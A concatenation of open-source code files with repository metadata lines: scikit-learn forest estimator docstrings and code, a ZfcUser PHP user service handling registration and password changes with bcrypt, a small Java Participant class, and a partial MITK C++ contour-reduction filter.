chosen. By default, no pruning is performed. See :ref:`minimal_cost_complexity_pruning` for details. .. versionadded:: 0.22 max_samples : int or float, default=None If bootstrap is True, the number of samples to draw from X to train each base estimator. - If None (default), then draw `X.shape[0]` samples. - If int, then draw `max_samples` samples. - If float, then draw `max_samples * X.shape[0]` samples. Thus, `max_samples` should be in the interval `(0.0, 1.0]`. .. versionadded:: 0.22 Attributes ---------- base_estimator_ : ExtraTreesClassifier The child estimator template used to create the collection of fitted sub-estimators. estimators_ : list of DecisionTreeClassifier The collection of fitted sub-estimators. classes_ : ndarray of shape (n_classes,) or a list of such arrays The classes labels (single output problem), or a list of arrays of class labels (multi-output problem). n_classes_ : int or list The number of classes (single output problem), or a list containing the number of classes for each output (multi-output problem). feature_importances_ : ndarray of shape (n_features,) The impurity-based feature importances. The higher, the more important the feature. The importance of a feature is computed as the (normalized) total reduction of the criterion brought by that feature. It is also known as the Gini importance. Warning: impurity-based feature importances can be misleading for high cardinality features (many unique values). See :func:`sklearn.inspection.permutation_importance` as an alternative. n_features_ : int The number of features when ``fit`` is performed. .. deprecated:: 1.0 Attribute `n_features_` was deprecated in version 1.0 and will be removed in 1.2. Use `n_features_in_` instead. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 n_outputs_ : int The number of outputs when ``fit`` is performed. oob_score_ : float Score of the training dataset obtained using an out-of-bag estimate. This attribute exists only when ``oob_score`` is True. oob_decision_function_ : ndarray of shape (n_samples, n_classes) or \ (n_samples, n_classes, n_outputs) Decision function computed with out-of-bag estimate on the training set. If n_estimators is small it might be possible that a data point was never left out during the bootstrap. In this case, `oob_decision_function_` might contain NaN. This attribute exists only when ``oob_score`` is True. See Also -------- sklearn.tree.ExtraTreeClassifier : Base classifier for this ensemble. RandomForestClassifier : Ensemble Classifier based on trees with optimal splits. Notes ----- The default values for the parameters controlling the size of the trees (e.g. ``max_depth``, ``min_samples_leaf``, etc.) lead to fully grown and unpruned trees which can potentially be very large on some data sets. To reduce memory consumption, the complexity and size of the trees should be controlled by setting those parameter values. References ---------- .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees", Machine Learning, 63(1), 3-42, 2006. Examples -------- >>> from sklearn.ensemble import ExtraTreesClassifier >>> from sklearn.datasets import make_classification >>> X, y = make_classification(n_features=4, random_state=0) >>> clf = ExtraTreesClassifier(n_estimators=100, random_state=0) >>> clf.fit(X, y) ExtraTreesClassifier(random_state=0) >>> clf.predict([[0, 0, 0, 0]]) array([1]) """ def __init__(self, n_estimators=100, *, criterion="gini", max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_features="auto", max_leaf_nodes=None, min_impurity_decrease=0., min_impurity_split=None, bootstrap=False, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, class_weight=None, ccp_alpha=0.0, max_samples=None): super().__init__( base_estimator=ExtraTreeClassifier(), n_estimators=n_estimators, estimator_params=("criterion", "max_depth", "min_samples_split", "min_samples_leaf", "min_weight_fraction_leaf", "max_features", "max_leaf_nodes", "min_impurity_decrease", "min_impurity_split", "random_state", "ccp_alpha"), bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, class_weight=class_weight, max_samples=max_samples) self.criterion = criterion self.max_depth = max_depth self.min_samples_split = min_samples_split self.min_samples_leaf = min_samples_leaf self.min_weight_fraction_leaf = min_weight_fraction_leaf self.max_features = max_features self.max_leaf_nodes = max_leaf_nodes self.min_impurity_decrease = min_impurity_decrease self.min_impurity_split = min_impurity_split self.ccp_alpha = ccp_alpha class ExtraTreesRegressor(ForestRegressor): """ An extra-trees regressor. This class implements a meta estimator that fits a number of randomized decision trees (a.k.a. extra-trees) on various sub-samples of the dataset and uses averaging to improve the predictive accuracy and control over-fitting. Read more in the :ref:`User Guide <forest>`. Parameters ---------- n_estimators : int, default=100 The number of trees in the forest. .. versionchanged:: 0.22 The default value of ``n_estimators`` changed from 10 to 100 in 0.22. criterion : {"squared_error", "mse", "absolute_error", "mae"}, \ default="squared_error" The function to measure the quality of a split. Supported criteria are "squared_error" for the mean squared error, which is equal to variance reduction as feature selection criterion, and "absolute_error" for the mean absolute error. .. versionadded:: 0.18 Mean Absolute Error (MAE) criterion. .. deprecated:: 1.0 Criterion "mse" was deprecated in v1.0 and will be removed in version 1.2. Use `criterion="squared_error"` which is equivalent. .. deprecated:: 1.0 Criterion "mae" was deprecated in v1.0 and will be removed in version 1.2. Use `criterion="absolute_error"` which is equivalent. max_depth : int, default=None The maximum depth of the tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int or float, default=2 The minimum number of samples required to split an internal node: - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` are the minimum number of samples for each split. .. versionchanged:: 0.18 Added float values for fractions. min_samples_leaf : int or float, default=1 The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` training samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` are the minimum number of samples for each node. .. versionchanged:: 0.18 Added float values for fractions. min_weight_fraction_leaf : float, default=0.0 The minimum weighted fraction of the sum total of weights (of all the input samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. max_features : {"auto", "sqrt", "log2"}, int or float, default="auto" The number of features to consider when looking for the best split: - If int, then consider `max_features` features at each split. - If float, then `max_features` is a fraction and `round(max_features * n_features)` features are considered at each split. - If "auto", then `max_features=n_features`. - If "sqrt", then `max_features=sqrt(n_features)`. - If "log2", then `max_features=log2(n_features)`. - If None, then `max_features=n_features`. Note: the search for a split does not stop until at least one valid partition of the node samples is found, even if it requires to effectively inspect more than ``max_features`` features. max_leaf_nodes : int, default=None Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, default=0.0 A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of samples, ``N_t`` is the number of samples at the current node, ``N_t_L`` is the number of samples in the left child, and ``N_t_R`` is the number of samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. .. versionadded:: 0.19 min_impurity_split : float, default=None Threshold for early stopping in tree growth. A node will split if its impurity is above the threshold, otherwise it is a leaf. .. deprecated:: 0.19 ``min_impurity_split`` has been deprecated in favor of ``min_impurity_decrease`` in 0.19. The default value of ``min_impurity_split`` has changed from 1e-7 to 0 in 0.23 and it will be removed in 1.0 (renaming of 0.25). Use ``min_impurity_decrease`` instead. bootstrap : bool, default=False Whether bootstrap samples are used when building trees. If False, the whole dataset is used to build each tree. oob_score : bool, default=False Whether to use out-of-bag samples to estimate the generalization score. Only available if bootstrap=True. n_jobs : int, default=None The number of jobs to run in parallel. :meth:`fit`, :meth:`predict`, :meth:`decision_path` and :meth:`apply` are all parallelized over the trees. ``None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, default=None Controls 3 sources of randomness: - the bootstrapping of the samples used when building trees (if ``bootstrap=True``) - the sampling of the features to consider when looking for the best split at each node (if ``max_features < n_features``) - the draw of the splits for each of the `max_features` See :term:`Glossary <random_state>` for details. verbose : int, default=0 Controls the verbosity when fitting and predicting. warm_start : bool, default=False When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. ccp_alpha : non-negative float, default=0.0 Complexity parameter used for Minimal Cost-Complexity Pruning. The subtree with the largest cost complexity that is smaller than ``ccp_alpha`` will be chosen. By default, no pruning is performed. See :ref:`minimal_cost_complexity_pruning` for details. .. versionadded:: 0.22 max_samples : int or float, default=None If bootstrap is True, the number of samples to draw from X to train each base estimator. - If None (default), then draw `X.shape[0]` samples. - If int, then draw `max_samples` samples. - If float, then draw `max_samples * X.shape[0]` samples. Thus, `max_samples` should be in the interval `(0.0, 1.0]`. .. versionadded:: 0.22 Attributes ---------- base_estimator_ : ExtraTreeRegressor The child estimator template used to create the collection of fitted sub-estimators. estimators_ : list of DecisionTreeRegressor The collection of fitted sub-estimators. feature_importances_ : ndarray of shape (n_features,) The impurity-based feature importances. The higher, the more important the feature. The importance of a feature is computed as the (normalized) total reduction of the criterion brought by that feature. It is also known as the Gini importance. Warning: impurity-based feature importances can be misleading for high cardinality features (many unique values). See :func:`sklearn.inspection.permutation_importance` as an alternative. n_features_ : int The number of features. .. deprecated:: 1.0 Attribute `n_features_` was deprecated in version 1.0 and will be removed in 1.2. Use `n_features_in_` instead. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 n_outputs_ : int The number of outputs. oob_score_ : float Score of the training dataset obtained using an out-of-bag estimate. This attribute exists only when ``oob_score`` is True. oob_prediction_ : ndarray of shape (n_samples,) or (n_samples, n_outputs) Prediction computed with out-of-bag estimate on the training set. This attribute exists only when ``oob_score`` is True. See Also -------- sklearn.tree.ExtraTreeRegressor : Base estimator for this ensemble. RandomForestRegressor : Ensemble regressor using trees with optimal splits. Notes ----- The default values for the parameters controlling the size of the trees (e.g. ``max_depth``, ``min_samples_leaf``, etc.) lead to fully grown and unpruned trees which can potentially be very large on some data sets. To reduce memory consumption, the complexity and size of the trees should be controlled by setting those parameter values. References ---------- .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees", Machine Learning, 63(1), 3-42, 2006. Examples -------- >>> from sklearn.datasets import load_diabetes >>> from sklearn.model_selection import train_test_split >>> from sklearn.ensemble import ExtraTreesRegressor >>> X, y = load_diabetes(return_X_y=True) >>> X_train, X_test, y_train, y_test = train_test_split( ... X, y, random_state=0) >>> reg = ExtraTreesRegressor(n_estimators=100, random_state=0).fit( ... X_train, y_train) >>> reg.score(X_test, y_test) 0.2708... """ def __init__(self, n_estimators=100, *, criterion="squared_error", max_depth=None, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_features="auto", max_leaf_nodes=None, min_impurity_decrease=0., min_impurity_split=None, bootstrap=False, oob_score=False, n_jobs=None, random_state=None, verbose=0, warm_start=False, ccp_alpha=0.0, max_samples=None): super().__init__( base_estimator=ExtraTreeRegressor(), n_estimators=n_estimators, estimator_params=("criterion", "max_depth", "min_samples_split", "min_samples_leaf", "min_weight_fraction_leaf", "max_features", "max_leaf_nodes", "min_impurity_decrease", "min_impurity_split", "random_state", "ccp_alpha"), bootstrap=bootstrap, oob_score=oob_score, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, max_samples=max_samples) self.criterion = criterion self.max_depth = max_depth self.min_samples_split = min_samples_split self.min_samples_leaf = min_samples_leaf self.min_weight_fraction_leaf = min_weight_fraction_leaf self.max_features = max_features self.max_leaf_nodes = max_leaf_nodes self.min_impurity_decrease = min_impurity_decrease self.min_impurity_split = min_impurity_split self.ccp_alpha = ccp_alpha class RandomTreesEmbedding(BaseForest): """ An ensemble of totally random trees. An unsupervised transformation of a dataset to a high-dimensional sparse representation. A datapoint is coded according to which leaf of each tree it is sorted into. Using a one-hot encoding of the leaves, this leads to a binary coding with as many ones as there are trees in the forest. The dimensionality of the resulting representation is ``n_out <= n_estimators * max_leaf_nodes``. If ``max_leaf_nodes == None``, the number of leaf nodes is at most ``n_estimators * 2 ** max_depth``. Read more in the :ref:`User Guide <random_trees_embedding>`. Parameters ---------- n_estimators : int, default=100 Number of trees in the forest. .. versionchanged:: 0.22 The default value of ``n_estimators`` changed from 10 to 100 in 0.22. max_depth : int, default=5 The maximum depth of each tree. If None, then nodes are expanded until all leaves are pure or until all leaves contain less than min_samples_split samples. min_samples_split : int or float, default=2 The minimum number of samples required to split an internal node: - If int, then consider `min_samples_split` as the minimum number. - If float, then `min_samples_split` is a fraction and `ceil(min_samples_split * n_samples)` is the minimum number of samples for each split. .. versionchanged:: 0.18 Added float values for fractions. min_samples_leaf : int or float, default=1 The minimum number of samples required to be at a leaf node. A split point at any depth will only be considered if it leaves at least ``min_samples_leaf`` training samples in each of the left and right branches. This may have the effect of smoothing the model, especially in regression. - If int, then consider `min_samples_leaf` as the minimum number. - If float, then `min_samples_leaf` is a fraction and `ceil(min_samples_leaf * n_samples)` is the minimum number of samples for each node. .. versionchanged:: 0.18 Added float values for fractions. min_weight_fraction_leaf : float, default=0.0 The minimum weighted fraction of the sum total of weights (of all the input samples) required to be at a leaf node. Samples have equal weight when sample_weight is not provided. max_leaf_nodes : int, default=None Grow trees with ``max_leaf_nodes`` in best-first fashion. Best nodes are defined as relative reduction in impurity. If None then unlimited number of leaf nodes. min_impurity_decrease : float, default=0.0 A node will be split if this split induces a decrease of the impurity greater than or equal to this value. The weighted impurity decrease equation is the following:: N_t / N * (impurity - N_t_R / N_t * right_impurity - N_t_L / N_t * left_impurity) where ``N`` is the total number of samples, ``N_t`` is the number of samples at the current node, ``N_t_L`` is the number of samples in the left child, and ``N_t_R`` is the number of samples in the right child. ``N``, ``N_t``, ``N_t_R`` and ``N_t_L`` all refer to the weighted sum, if ``sample_weight`` is passed. .. versionadded:: 0.19 min_impurity_split : float, default=None Threshold for early stopping in tree growth. A node will split if its impurity is above the threshold, otherwise it is a leaf. .. deprecated:: 0.19 ``min_impurity_split`` has been deprecated in favor of ``min_impurity_decrease`` in 0.19. The default value of ``min_impurity_split`` has changed from 1e-7 to 0 in 0.23 and it will be removed in 1.0 (renaming of 0.25). Use ``min_impurity_decrease`` instead. sparse_output : bool, default=True Whether or not to return a sparse CSR matrix, as default behavior, or to return a dense array compatible with dense pipeline operators. n_jobs : int, default=None The number of jobs to run in parallel. :meth:`fit`, :meth:`transform`, :meth:`decision_path` and :meth:`apply` are all parallelized over the trees. ``None`` means 1 unless in a :obj:`joblib.parallel_backend` context. ``-1`` means using all processors. See :term:`Glossary <n_jobs>` for more details. random_state : int, RandomState instance or None, default=None Controls the generation of the random `y` used to fit the trees and the draw of the splits for each feature at the trees' nodes. See :term:`Glossary <random_state>` for details. verbose : int, default=0 Controls the verbosity when fitting and predicting. warm_start : bool, default=False When set to ``True``, reuse the solution of the previous call to fit and add more estimators to the ensemble, otherwise, just fit a whole new forest. See :term:`the Glossary <warm_start>`. Attributes ---------- base_estimator_ : DecisionTreeClassifier instance The child estimator template used to create the collection of fitted sub-estimators. estimators_ : list of DecisionTreeClassifier instances The collection of fitted sub-estimators. feature_importances_ : ndarray of shape (n_features,) The feature importances (the higher, the more important the feature). n_features_ : int The number of features when ``fit`` is performed. .. deprecated:: 1.0 Attribute `n_features_` was deprecated in version 1.0 and will be removed in 1.2. Use `n_features_in_` instead. n_features_in_ : int Number of features seen during :term:`fit`. .. versionadded:: 0.24 n_outputs_ : int The number of outputs when ``fit`` is performed. one_hot_encoder_ : OneHotEncoder instance One-hot encoder used to create the sparse embedding. References ---------- .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees", Machine Learning, 63(1), 3-42, 2006. .. [2] Moosmann, F. and Triggs, B. and Jurie, F. "Fast discriminative visual codebooks using randomized clustering forests" NIPS 2007 Examples -------- >>> from sklearn.ensemble import RandomTreesEmbedding >>> X = [[0,0], [1,0], [0,1], [-1,0], [0,-1]] >>> random_trees = RandomTreesEmbedding( ... n_estimators=5, random_state=0, max_depth=1).fit(X) >>> X_sparse_embedding = random_trees.transform(X) >>> X_sparse_embedding.toarray() array([[0., 1., 1., 0., 1., 0., 0., 1., 1., 0.], [0., 1., 1., 0., 1., 0., 0., 1., 1., 0.], [0., 1., 0., 1., 0., 1., 0., 1., 0., 1.], [1., 0., 1., 0., 1., 0., 1., 0., 1., 0.], [0., 1., 1., 0., 1., 0., 0., 1., 1., 0.]]) """ criterion = "squared_error" max_features = 1 def __init__(self, n_estimators=100, *, max_depth=5, min_samples_split=2, min_samples_leaf=1, min_weight_fraction_leaf=0., max_leaf_nodes=None, min_impurity_decrease=0., min_impurity_split=None, sparse_output=True, n_jobs=None, random_state=None, verbose=0, warm_start=False): super().__init__( base_estimator=ExtraTreeRegressor(), n_estimators=n_estimators, estimator_params=("criterion", "max_depth", "min_samples_split", "min_samples_leaf", "min_weight_fraction_leaf", "max_features", "max_leaf_nodes", "min_impurity_decrease", "min_impurity_split", "random_state"), bootstrap=False, oob_score=False, n_jobs=n_jobs, random_state=random_state, verbose=verbose, warm_start=warm_start, max_samples=None) self.max_depth = max_depth self.min_samples_split = min_samples_split self.min_samples_leaf = min_samples_leaf self.min_weight_fraction_leaf = min_weight_fraction_leaf self.max_leaf_nodes = max_leaf_nodes self.min_impurity_decrease = min_impurity_decrease self.min_impurity_split = min_impurity_split self.sparse_output = sparse_output def _set_oob_score_and_attributes(self, X, y): raise NotImplementedError("OOB score not supported by tree embedding") def fit(self, X, y=None, sample_weight=None): """ Fit estimator. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) The input samples. Use ``dtype=np.float32`` for maximum efficiency. Sparse matrices are also supported, use sparse ``csc_matrix`` for maximum efficiency. y : Ignored Not used, present for API consistency by convention. sample_weight : array-like of shape (n_samples,), default=None Sample weights. If None, then samples are equally weighted. Splits that would create child nodes with net zero or negative weight are ignored while searching for a split in each node. In the case of classification, splits are also ignored if they would result in any single class carrying a negative weight in either child node. Returns ------- self : object """ self.fit_transform(X, y, sample_weight=sample_weight) return self def fit_transform(self, X, y=None, sample_weight=None): """ Fit estimator and transform dataset. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) Input data used to build forests. Use ``dtype=np.float32`` for maximum efficiency. y : Ignored Not used, present for API consistency by convention. sample_weight : array-like of shape (n_samples,), default=None Sample weights. If None, then samples are equally weighted. Splits that would create child nodes with net zero or negative weight are ignored while searching for a split in each node. In the case of classification, splits are also ignored if they would result in any single class carrying a negative weight in either child node. Returns ------- X_transformed : sparse matrix of shape (n_samples, n_out) Transformed dataset. """ X = self._validate_data(X, accept_sparse=['csc']) if issparse(X): # Pre-sort indices to avoid that each individual tree of the # ensemble sorts the indices. X.sort_indices() rnd = check_random_state(self.random_state) y = rnd.uniform(size=X.shape[0]) super().fit(X, y, sample_weight=sample_weight) self.one_hot_encoder_ = OneHotEncoder(sparse=self.sparse_output) return self.one_hot_encoder_.fit_transform(self.apply(X)) def transform(self, X): """ Transform dataset. Parameters ---------- X : {array-like, sparse matrix} of shape (n_samples, n_features) Input data to be transformed. Use ``dtype=np.float32`` for maximum efficiency. Sparse matrices are also supported, use sparse ``csr_matrix`` for maximum efficiency. Returns ------- X_transformed : sparse matrix of shape (n_samples, n_out) Transformed dataset. """ check_is_fitted(self) return self.one_hot_encoder_.transform(self.apply(X))
bsd-3-clause
ZF-Commons/ZfcUser
src/ZfcUser/Service/User.php
7992
<?php namespace ZfcUser\Service; use Interop\Container\ContainerInterface; use Zend\Authentication\AuthenticationService; use Zend\Form\Form; use Zend\ServiceManager\ServiceManager; use Zend\Crypt\Password\Bcrypt; use Zend\Hydrator; use ZfcUser\EventManager\EventProvider; use ZfcUser\Mapper\UserInterface as UserMapperInterface; use ZfcUser\Options\UserServiceOptionsInterface; class User extends EventProvider { /** * @var UserMapperInterface */ protected $userMapper; /** * @var AuthenticationService */ protected $authService; /** * @var Form */ protected $loginForm; /** * @var Form */ protected $registerForm; /** * @var Form */ protected $changePasswordForm; /** * @var ServiceManager */ protected $serviceManager; /** * @var UserServiceOptionsInterface */ protected $options; /** * @var Hydrator\ClassMethods */ protected $formHydrator; /** * createFromForm * * @param array $data * @return \ZfcUser\Entity\UserInterface * @throws Exception\InvalidArgumentException */ public function register(array $data) { $class = $this->getOptions()->getUserEntityClass(); $user = new $class; $form = $this->getRegisterForm(); $form->setHydrator($this->getFormHydrator()); $form->bind($user); $form->setData($data); if (!$form->isValid()) { return false; } $user = $form->getData(); /* @var $user \ZfcUser\Entity\UserInterface */ $bcrypt = new Bcrypt; $bcrypt->setCost($this->getOptions()->getPasswordCost()); $user->setPassword($bcrypt->create($user->getPassword())); if ($this->getOptions()->getEnableUsername()) { $user->setUsername($data['username']); } if ($this->getOptions()->getEnableDisplayName()) { $user->setDisplayName($data['display_name']); } // If user state is enabled, set the default state value if ($this->getOptions()->getEnableUserState()) { $user->setState($this->getOptions()->getDefaultUserState()); } $this->getEventManager()->trigger(__FUNCTION__, $this, array('user' => $user, 'form' => $form)); $this->getUserMapper()->insert($user); $this->getEventManager()->trigger(__FUNCTION__.'.post', $this, array('user' => $user, 'form' => $form)); return $user; } /** * change the current users password * * @param array $data * @return boolean */ public function changePassword(array $data) { $currentUser = $this->getAuthService()->getIdentity(); $oldPass = $data['credential']; $newPass = $data['newCredential']; $bcrypt = new Bcrypt; $bcrypt->setCost($this->getOptions()->getPasswordCost()); if (!$bcrypt->verify($oldPass, $currentUser->getPassword())) { return false; } $pass = $bcrypt->create($newPass); $currentUser->setPassword($pass); $this->getEventManager()->trigger(__FUNCTION__, $this, array('user' => $currentUser, 'data' => $data)); $this->getUserMapper()->update($currentUser); $this->getEventManager()->trigger(__FUNCTION__.'.post', $this, array('user' => $currentUser, 'data' => $data)); return true; } public function changeEmail(array $data) { $currentUser = $this->getAuthService()->getIdentity(); $bcrypt = new Bcrypt; $bcrypt->setCost($this->getOptions()->getPasswordCost()); if (!$bcrypt->verify($data['credential'], $currentUser->getPassword())) { return false; } $currentUser->setEmail($data['newIdentity']); $this->getEventManager()->trigger(__FUNCTION__, $this, array('user' => $currentUser, 'data' => $data)); $this->getUserMapper()->update($currentUser); $this->getEventManager()->trigger(__FUNCTION__.'.post', $this, array('user' => $currentUser, 'data' => $data)); return true; } /** * getUserMapper * * @return UserMapperInterface */ public function getUserMapper() { if (null === $this->userMapper) { $this->userMapper = $this->getServiceManager()->get('zfcuser_user_mapper'); } return $this->userMapper; } /** * setUserMapper * * @param UserMapperInterface $userMapper * @return User */ public function setUserMapper(UserMapperInterface $userMapper) { $this->userMapper = $userMapper; return $this; } /** * getAuthService * * @return AuthenticationService */ public function getAuthService() { if (null === $this->authService) { $this->authService = $this->getServiceManager()->get('zfcuser_auth_service'); } return $this->authService; } /** * setAuthenticationService * * @param AuthenticationService $authService * @return User */ public function setAuthService(AuthenticationService $authService) { $this->authService = $authService; return $this; } /** * @return Form */ public function getRegisterForm() { if (null === $this->registerForm) { $this->registerForm = $this->getServiceManager()->get('zfcuser_register_form'); } return $this->registerForm; } /** * @param Form $registerForm * @return User */ public function setRegisterForm(Form $registerForm) { $this->registerForm = $registerForm; return $this; } /** * @return Form */ public function getChangePasswordForm() { if (null === $this->changePasswordForm) { $this->changePasswordForm = $this->getServiceManager()->get('zfcuser_change_password_form'); } return $this->changePasswordForm; } /** * @param Form $changePasswordForm * @return User */ public function setChangePasswordForm(Form $changePasswordForm) { $this->changePasswordForm = $changePasswordForm; return $this; } /** * get service options * * @return UserServiceOptionsInterface */ public function getOptions() { if (!$this->options instanceof UserServiceOptionsInterface) { $this->setOptions($this->getServiceManager()->get('zfcuser_module_options')); } return $this->options; } /** * set service options * * @param UserServiceOptionsInterface $options */ public function setOptions(UserServiceOptionsInterface $options) { $this->options = $options; } /** * Retrieve service manager instance * * @return ServiceManager */ public function getServiceManager() { return $this->serviceManager; } /** * Set service manager instance * * @param ContainerInterface $serviceManager * @return User */ public function setServiceManager(ContainerInterface $serviceManager) { $this->serviceManager = $serviceManager; return $this; } /** * Return the Form Hydrator * * @return \Zend\Hydrator\ClassMethods */ public function getFormHydrator() { if (!$this->formHydrator instanceof Hydrator\HydratorInterface) { $this->setFormHydrator($this->getServiceManager()->get('zfcuser_register_form_hydrator')); } return $this->formHydrator; } /** * Set the Form Hydrator to use * * @param Hydrator\HydratorInterface $formHydrator * @return User */ public function setFormHydrator(Hydrator\HydratorInterface $formHydrator) { $this->formHydrator = $formHydrator; return $this; } }
bsd-3-clause
synergynet/synergynet3.1
synergynet3.1-parent/synergynet3-numbernet-core/src/main/java/synergynet3/web/apps/numbernet/shared/Participant.java
896
package synergynet3.web.apps.numbernet.shared; import java.io.Serializable; import com.google.gwt.user.client.rpc.IsSerializable; /** * Represents an individual person. * * @author dcs0ah1 */ public class Participant implements Serializable, IsSerializable { /** The Constant serialVersionUID. */ private static final long serialVersionUID = 2647062936457560005L; /** The name. */ private String name; /** * Instantiates a new participant. */ public Participant() { this.name = "<none>"; } /** * Instantiates a new participant. * * @param name * the name */ public Participant(String name) { this.name = name; } /** * Gets the name. * * @return the name */ public String getName() { return name; } /* * (non-Javadoc) * @see java.lang.Object#toString() */ @Override public String toString() { return getName(); } }
bsd-3-clause
NifTK/MITK
Modules/SurfaceInterpolation/mitkReduceContourSetFilter.cpp
16276
/*=================================================================== The Medical Imaging Interaction Toolkit (MITK) Copyright (c) German Cancer Research Center, Division of Medical and Biological Informatics. All rights reserved. This software is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See LICENSE.txt or http://www.mitk.org for details. ===================================================================*/ #include "mitkReduceContourSetFilter.h" mitk::ReduceContourSetFilter::ReduceContourSetFilter() { m_MaxSegmentLenght = 0; m_StepSize = 10; m_Tolerance = -1; m_ReductionType = DOUGLAS_PEUCKER; m_MaxSpacing = -1; m_MinSpacing = -1; this->m_UseProgressBar = false; this->m_ProgressStepSize = 1; m_NumberOfPointsAfterReduction = 0; mitk::Surface::Pointer output = mitk::Surface::New(); this->SetNthOutput(0, output.GetPointer()); } mitk::ReduceContourSetFilter::~ReduceContourSetFilter() { } void mitk::ReduceContourSetFilter::SetInput( unsigned int idx, const mitk::Surface* surface ) { this->SetNthInput( idx, const_cast<mitk::Surface*>( surface ) ); this->Modified(); } void mitk::ReduceContourSetFilter::SetInput( const mitk::Surface* surface ) { this->SetInput( 0, const_cast<mitk::Surface*>( surface ) ); } void mitk::ReduceContourSetFilter::GenerateData() { unsigned int numberOfInputs = this->GetNumberOfIndexedInputs(); unsigned int numberOfOutputs (0); vtkSmartPointer<vtkPolyData> newPolyData; vtkSmartPointer<vtkCellArray> newPolygons; vtkSmartPointer<vtkPoints> newPoints; //For the purpose of evaluation // unsigned int numberOfPointsBefore (0); m_NumberOfPointsAfterReduction=0; for(unsigned int i = 0; i < numberOfInputs; i++) { mitk::Surface* currentSurface = const_cast<mitk::Surface*>( this->GetInput(i) ); vtkSmartPointer<vtkPolyData> polyData = currentSurface->GetVtkPolyData(); newPolyData = vtkSmartPointer<vtkPolyData>::New(); newPolygons = vtkSmartPointer<vtkCellArray>::New(); newPoints = vtkSmartPointer<vtkPoints>::New(); vtkSmartPointer<vtkCellArray> existingPolys = polyData->GetPolys(); vtkSmartPointer<vtkPoints> existingPoints = polyData->GetPoints(); existingPolys->InitTraversal(); vtkIdType* cell (nullptr); vtkIdType cellSize (0); for( existingPolys->InitTraversal(); existingPolys->GetNextCell(cellSize, cell);) { bool incorporatePolygon = this->CheckForIntersection(cell,cellSize,existingPoints, /*numberOfIntersections, intersectionPoints, */i); if ( !incorporatePolygon ) continue; vtkSmartPointer<vtkPolygon> newPolygon = vtkSmartPointer<vtkPolygon>::New(); if(m_ReductionType == NTH_POINT) { this->ReduceNumberOfPointsByNthPoint(cellSize, cell, existingPoints, newPolygon, newPoints); if (newPolygon->GetPointIds()->GetNumberOfIds() != 0) { newPolygons->InsertNextCell(newPolygon); } } else if (m_ReductionType == DOUGLAS_PEUCKER) { this->ReduceNumberOfPointsByDouglasPeucker(cellSize, cell, existingPoints, newPolygon, newPoints); if (newPolygon->GetPointIds()->GetNumberOfIds() > 3) { newPolygons->InsertNextCell(newPolygon); } } //Again for evaluation // numberOfPointsBefore += cellSize; m_NumberOfPointsAfterReduction += newPolygon->GetPointIds()->GetNumberOfIds(); } if (newPolygons->GetNumberOfCells() != 0) { newPolyData->SetPolys(newPolygons); newPolyData->SetPoints(newPoints); newPolyData->BuildLinks(); this->SetNumberOfIndexedOutputs(numberOfOutputs + 1); mitk::Surface::Pointer surface = mitk::Surface::New(); this->SetNthOutput(numberOfOutputs, surface.GetPointer()); surface->SetVtkPolyData(newPolyData); numberOfOutputs++; } } // MITK_INFO<<"Points before: "<<numberOfPointsBefore<<" ##### Points after: "<<numberOfPointsAfter; this->SetNumberOfIndexedOutputs(numberOfOutputs); if (numberOfOutputs == 0) { mitk::Surface::Pointer tmp_output = mitk::Surface::New(); tmp_output->SetVtkPolyData(vtkPolyData::New()); this->SetNthOutput(0, tmp_output.GetPointer()); } //Setting progressbar if (this->m_UseProgressBar) mitk::ProgressBar::GetInstance()->Progress(this->m_ProgressStepSize); } void mitk::ReduceContourSetFilter::ReduceNumberOfPointsByNthPoint (vtkIdType cellSize, vtkIdType* cell, vtkPoints* points, vtkPolygon* reducedPolygon, vtkPoints* reducedPoints) { unsigned int newNumberOfPoints (0); unsigned int mod = cellSize%m_StepSize; if(mod == 0) { newNumberOfPoints = cellSize/m_StepSize; } else { newNumberOfPoints = ( (cellSize-mod)/m_StepSize )+1; } if (newNumberOfPoints <= 3) { return; } reducedPolygon->GetPointIds()->SetNumberOfIds(newNumberOfPoints); reducedPolygon->GetPoints()->SetNumberOfPoints(newNumberOfPoints); for (vtkIdType i = 0; i < cellSize; i++) { if (i%m_StepSize == 0) { double point[3]; points->GetPoint(cell[i], point); vtkIdType id = reducedPoints->InsertNextPoint(point); reducedPolygon->GetPointIds()->SetId(i/m_StepSize, id); } } vtkIdType id = cell[0]; double point[3]; points->GetPoint(id, point); id = 